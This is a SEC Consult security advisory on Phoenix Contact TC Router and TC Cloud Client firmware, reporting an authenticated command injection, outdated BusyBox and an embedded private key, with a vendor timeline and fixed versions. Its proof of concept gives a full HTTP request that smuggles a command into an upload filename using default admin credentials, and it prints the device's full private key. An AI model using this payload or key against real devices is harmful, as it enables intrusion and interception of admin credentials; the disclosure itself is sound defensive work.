SEC Consult SA-20200312-0 :: Authenticated Command Injection in Phoenix Contact TC Router & TC Cloud Client

From: SEC Consult Vulnerability Lab <research () sec-consult com>
Date: Fri, 13 Mar 2020 16:52:21 +0100

```
SEC Consult Vulnerability Lab Security Advisory < 20200312-0 >
=======================================================================
             title: Authenticated Command Injection
           product: Phoenix Contact TC Router & TC Cloud Client
 vulnerable version: <=2.05.3 & <=2.03.17 & <=1.03.17
      fixed version: 2.05.4 & 2.03.18 & 1.03.18
         CVE number: CVE-2020-9436, CVE-2020-9435
             impact: High
           homepage: https://www.phoenixcontact.com/
              found: 2020-01-23
                 by: T. Weber (Office Vienna)
                     SEC Consult Vulnerability Lab

                     An integrated part of SEC Consult
                     Europe | Asia | North America

                     https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Phoenix Contact is a globally present, Germany-based market leader. Our group
is synonymous with future-oriented components, systems, and solutions in the
fields of electrical engineering, electronics, and automation. A global network
across more than 100 countries and 15,000 employees ensure close proximity to
our customers, which we believe is particularly important."

Source:
https://www.phoenixcontact.com/online/portal/pc?
1dmy&urile=wcm%3apath%3a/pcen/web/corporate/company/subcategory_pages/Who_we_are/


Business recommendation:
------------------------
The vendor provides a patch which should be installed immediately.

SEC Consult recommends to perform a thorough security review of these products
conducted by security professionals to identify and resolve all security issues.


Vulnerability overview/description:
-----------------------------------
1) Known BusyBox Vulnerabilities
The used BusyBox toolkit in version 1.18.5 is outdated and contains multiple
known vulnerabilities. The outdated version was found by IoT Inspector.
One of the discovered vulnerabilities (CVE-2017-16544) was verified by using
the MEDUSA scalable firmware runtime.

2) Authenticated Command Injection (CVE-2020-9436)
An authenticated command injection vulnerability can be triggered by issuing a
POST request to the "/cgi-bin/p/adm/cfg" CGI program which is available on the
web interface. An attacker can abuse this vulnerability to compromise the
operating system of the device. This issue was found by emulating the firmware
of the device.

3) Embedded Private X.509 Certificate (CVE-2020-9435)
The device contains a hardcoded certificate which can be used to run the web
service. This certificate is used for HTTPS (default server certificate for
web based configuration and management).

Impersonation, man-in-the-middle or passive decryption attacks are possible.
These attacks allow an attacker to gain access to sensitive information like
admin credentials and use them in further attacks.


Proof of concept:
-----------------
1) Known BusyBox Vulnerabilities
BusyBox version 1.18.5 contains multiple CVEs like:
CVE-2016-6301, CVE-2014-9645 and CVE-2013-1813.

The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on
an emulated device:

A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the
vulnerability.
-------------------------------------------------------------------------------
# ls "pressing <TAB>"
test
]55;test.txt
#
-------------------------------------------------------------------------------

2) Authenticated Command Injection (CVE-2020-9436)
An authenticated command injection is possible via a crafted POST request.

The configuration upload form in the web-interface can be used to upload an XML
configuration file. The filename of this XML file can be modified with an
interceptor proxy in order to inject system commands. The JavaScript code which
is used to do client-side filtering can be bypassed in this way. Because of
blacklisting of some characters, the ${IFS} command must be used for adding
whitespaces.

Request:
-------------------------------------------------------------------------------
POST /cgi-bin/p/adm/cfg HTTP/1.1
Host: $IP
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------108344332512083293852525134888
Content-Length: 724
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: no-transform

-----------------------------108344332512083293852525134888
Content-Disposition: form-data; name="exportmode"
```

```
0
-----------------------------108344332512083293852525134 88
Content-Disposition: form-data; name="xmlmode"

on
-----------------------------108344332512083293852525134 88
Content-Disposition: form-data; name="importmode"

0
-----------------------------108344332512083293852525134 88
Content-Disposition: form-data; name="cfg_upload"; filename="config.xml;ls${IFS}-la"
Content-Type: application/octet-stream



text

-----------------------------108344332512083293852525134 88
Content-Disposition: form-data; name="cfg_submit"


-----------------------------108344332512083293852525134 88--
```

Response from the web-server:

```
HTTP/1.0 200 OK
Content-Type: text/html
Cache-Control: no-cache

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8"><meta http-equiv="Cache-Control" content="no-cache">
<style>
/* CSS main */

body
{
  font-family: verdana, arial, helvetica, sans-serif;
  font-size: 12px;
}
[...snip...]
.TextWarning
{
  vertical-align: middle;
  color: #FF4000;
}
</style>
<title>Configuration up-/download</title>
</head>
<body>
<pre>xml parsed
setup new config done
total 499
drwxr-xr-x    2 root     root          1024 Jan 28  2020 .
drwxr-xr-x    3 root     root          1024 Jan 28  2020 ..
-rwxr-xr-x    1 root     root          5544 Jan 28  2020 atcmd
-rwxr-xr-x    1 root     root          9624 Jan 28  2020 basicsetup
-rwxr-xr-x    1 root     root          9012 Jan 28  2020 cfg
-rwxr-xr-x    1 root     root          7396 Jan 28  2020 conchk
-rwxr-xr-x    1 root     root          9128 Jan 28  2020 ddns
-rwxr-xr-x    1 root     root         14504 Jan 28  2020 dhcp
-rwxr-xr-x    1 root     root          4776 Jan 28  2020 dmesg
-rwxr-xr-x    1 root     root          6040 Jan 28  2020 edit_email
-rwxr-xr-x    1 root     root          6648 Jan 28  2020 edit_sms
-rwxr-xr-x    1 root     root         18288 Jan 28  2020 fw
-rwxr-xr-x    1 root     root         10560 Jan 28  2020 gprs
-rwxr-xr-x    1 root     root         12268 Jan 28  2020 gsm
-rwxr-xr-x    1 root     root          6784 Jan 28  2020 gsmlog
-rwxr-xr-x    1 root     root         11172 Jan 28  2020 io
-rwxr-xr-x    1 root     root          9812 Jan 28  2020 ipscert
-rwxr-xr-x    1 root     root          7604 Jan 28  2020 ipscon
-rwxr-xr-x    1 root     root          9928 Jan 28  2020 ipsike
-rwxr-xr-x    1 root     root         16728 Jan 28  2020 ipsset
-rwxr-xr-x    1 root     root         13808 Jan 28  2020 lanif
-rwxr-xr-x    1 root     root          5528 Jan 28  2020 leases
-rwxr-xr-x    1 root     root          6512 Jan 28  2020 log
-rwxr-xr-x    1 root     root          9656 Jan 28  2020 masqtbl
-rwxr-xr-x    1 root     root          5313 Jan 28  2020 mdmupl
-rwxr-xr-x    1 root     root         17912 Jan 28  2020 napt
-rwxr-xr-x    1 root     root          7704 Jan 28  2020 ovpnadvanced
-rwxr-xr-x    1 root     root          9656 Jan 28  2020 ovpncert
-rwxr-xr-x    1 root     root          6524 Jan 28  2020 ovpncon
-rwxr-xr-x    1 root     root          7856 Jan 28  2020 ovpnkey
-rwxr-xr-x    1 root     root         13012 Jan 28  2020 ovpnnapt
-rwxr-xr-x    1 root     root         19732 Jan 28  2020 ovpntunnel
-rwxr-xr-x    1 root     root          4760 Jan 28  2020 phonebook
-rwxr-xr-x    1 root     root          8284 Jan 28  2020 reboot
-rwxr-xr-x    1 root     root          5956 Jan 28  2020 routes
-rwxr-xr-x    1 root     root         10840 Jan 28  2020 rtc
-rwxr-xr-x    1 root     root          6928 Jan 28  2020 security
-rwxr-xr-x    1 root     root         17860 Jan 28  2020 sim
-rwxr-xr-x    1 root     root          7080 Jan 28  2020 sms
-rwxr-xr-x    1 root     root          7960 Jan 28  2020 smtp
-rwxr-xr-x    1 root     root          7048 Jan 28  2020 snmp
-rwxr-xr-x    1 root     root          5964 Jan 28  2020 socksrv
-rwxr-xr-x    1 root     root          9632 Jan 28  2020 sroute
-rwxr-xr-x    1 root     root         14668 Jan 28  2020 srvfw
-rwxr-xr-x    1 root     root          5456 Jan 28  2020 sshconfig
-rwxr-xr-x    1 root     root         11224 Jan 28  2020 sysconfig
-rwxr-xr-x    1 root     root         19996 Jan 28  2020 test
-rwxr-xr-x    1 root     root          4712 Jan 28  2020 update
-rwxr-xr-x    1 root     root            73 Jan 28  2020 upload
-rwxr-xr-x    1 root     root            30 Jan 28  2020 upremove
-rwxr-xr-x    1 root     root          7132 Jan 28  2020 user
-rwxr-xr-x    1 root     root          9672 Jan 28  2020 webcert
-rwxr-xr-x    1 root     root         10932 Jan 28  2020 webconfig
</pre><pre>please reboot next</pre>
</body>
</html>
```

3) Embedded Private X.509 Certificate (CVE-2020-9435)
The X.509 certificate was found on more than one device on Censys.io:
SHA256 fingerprint: 8ca503b99f7eadc839747dfe612b256efcdc4e01bbf5757c0fb663e5a22836b8

```
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDm6jUy8KLYSPXo
BiPx8LAlVcV4/6+pi+d4KzH6rvSoREYrjpalUMGbmoAdtbkr3qzvrLMP0s7tDOQB
YfH4Ou1QvEWgN5iWGz+TONXbeg7p+ZjD63Cu+tu9Knj5ZoZ7zDVgOF2UaVVrQkpH
CYXaqnaplnQCbclDiuvG8ha9ICaWuf7upNPiNpgdiGqrPwaqSCYhmi7K7Ej4dOpZ
5Ji/LKxCGjokVpxlYgbJbNMtrBXdBjsVh8WMImxQe7g00CQhMIK6YfE7eOsXDTLP
ZDXIbf42emJ84kpU57ISI9rulgmt7Jkl0EJlTwyMV/9NUXavpf15LnpKnkXK0Ez/
Fu5erzVBAgMBAAECggEBAMP65yfSwAMc+UfxXjSK+JTXVQA60ZXuXYfJ8WM3dgIR
4BQ7snOgNJGh8TZF82DeXpwUUOOPF/xsw17CCCIMssmg4N74EJLlkXGb/TWHRH0k
D5nIixyXYEQOdhoGAAGl8V82t4WsWIjt/CiKVoZ7z8ZjIRamp1263B0/fjkJvnaQ
zDzeF0Pnh9UAyjJQiec6wEFO2FUmU0XHgWOylzTUm+kWPg3de4SNA6kpSbOFKM4y
xjdVUBK6ECT42EaJK5Ie3Fk3wKHl1HQSYr2wRkC3VbN9XU4qUiOeQzNgAX5FRaBd
Egyu1gkJvOOiKCmBB3hyoJA8eipyMoOtuWRJnO0aRBkCgYEA/qZrfYIUn/OA3iPe
809eJoLsMI4ACOf46W4irskoOFlqRZ0WJZtbIY3vcsw+m+sKYZW8RyUrl9UoOhVT
yYMNlhWWOyztvp+jembEiSlXaW9K5gfV7Z/+KAenGjd/MLvRB5GU9Yt0knyY5QwP
rcQgE/Pgrl9o++e2my+letzxAD8CgYEA6COT0Am0ECGrIm+rR4VYlvMaTlV/RTpY
WOfo7gExbyBj45vrTWKNGmleAthOXwYLHA0Aan3bOrw3fprAmWrcldhHC3+lKjrn
mqOv/rWzpNlWRbehNJd0VmcTI9M1XDONTbrs44cvN+Fpt88gxXFkDTRZs7onMPz5
eOCNdGV6an8CgYB2l5htrfve9e8pBPmaxHarZsOKZUc83pN8Wq9KSSIzBcYtP1gG
```

```
EZDiUpCWHOp3gIGoKqyxUW0426tNSYtoyGC2bMQpsOXTpdLjeSLEY9pWnt75u+J0
NNOPXukCe5//WSii5rjBlb2nTuGBohlXKoRp5mTYJ43j6uiO4ywYWPbfzwKBgQDN
RMBswlfNt+fbAIGlMZ1/hSHrqv9qWMhMfW00ICvlRt/tIS91c0Kwbqslut26Gt7y
A/EtOXMEwfAUbIUIZD04fxF7cobg+8tWq4lxnnxmuS2TYmgS2CYQTP7Yu+fASvmV
FUhpfVlcfV99IJOq47SEFJmJWn9TSy7SGOYZ+a3AwwKBgEXATr+IAy04ASrtOf2Z
ySc5PbttVWlgMJd+BpyaXPa2qf7w/jELbOCfu4qel7qD2yufgyOzurikFfNayVbt
xkOmyj24eKmwHKH+zmUy63i+kqiRqXUpypmFQzPRf7LQXYPZEv7IkVP/+ney4G9T
a0lM1ut6+lo9FLcqrnZk9uLY
-----END PRIVATE KEY-----


Vulnerable / tested versions:
-----------------------------
The following firmware version has been tested:

* TC Router 3002T-4G ATT / 2.05.3
* TC Cloud Client 1002-TX/TX / 1.03.17

According to the vendor, the following devices are affected as well:

Article name                Article number   Affected versions
TC ROUTER 3002T-4G          2702528          <= 2.05.3
TC ROUTER 3002T-4G          2702530          <= 2.05.3
TC ROUTER 2002T-3G          2702529          <= 2.05.3
TC ROUTER 2002T-3G          2702531          <= 2.05.3
TC ROUTER 3002T-4G VZW      2702532          <= 2.05.3
TC ROUTER 3002T-4G ATT      2702533          <= 2.05.3
TC CLOUD CLIENT 1002-4G     2702886          <= 2.03.17
TC CLOUD CLIENT 1002-4G VZW 2702887          <= 2.03.17
TC CLOUD CLIENT 1002-4G ATT 2702888          <= 2.03.17
TC CLOUD CLIENT 1002-TXTX   2702885          <= 1.03.17


Vendor contact timeline:
------------------------
2020-01-29: Sent advisory to vendor via PGP through psirt () phoenixcontact com;
            Vendor confirmed to receive the advisory.
2020-02-26: Vendor stated that the vulnerabilities were confirmed and that a
            firmware upgrade will be available in the next days.
2020-02-29: Asked vendor for further affected devices and firmware versions.
2020-03-02: Received information about further affected devices and firmware
            versions from vendor. The release of the new firmware version is
            planned for the end of the week. CVE numbers were requested by
            the vendor.
2020-03-05: Found new firmware version numbers on the vendor's website. Asked
            the vendor about the status regarding CVE numbers.
2020-03-05: Received CVE numbers.
2020-03-12: Coordinated release of security advisory.


Solution:
---------
Update the firmware of the affected devices to 1.03.18, 2.03.18 or 2.05.4.

The new versions can be downloaded from the firmware page:
https://www.phoenixcontact.com/online/portal/us?
ldmy&urile=wcm%3apath%3a/usen/web/main/service and support/application pages/Firmware/Firmware


Workaround:
-----------
Restrict network access to the device.


Advisory URL:
-------------
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It
ensures the continued knowledge gain of SEC Consult in the field of network
and application security to stay ahead of the attacker. The SEC Consult
Vulnerability Lab supports high-quality penetration testing and the evaluation
of new offensive and defensive technologies for our customers. Hence our
customers obtain the most current information about vulnerabilities and valid
recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://www.sec-consult.com/en/career/index.html

Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://www.sec-consult.com/en/contact/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult

EOF T. Weber / @2020
```

Attachment: `smime.p7s`
Description: S/MIME Cryptographic Signature

Download

Npcap OEM

BreachExchange

Exploitation

Nmap Public Source License

Nmap OEM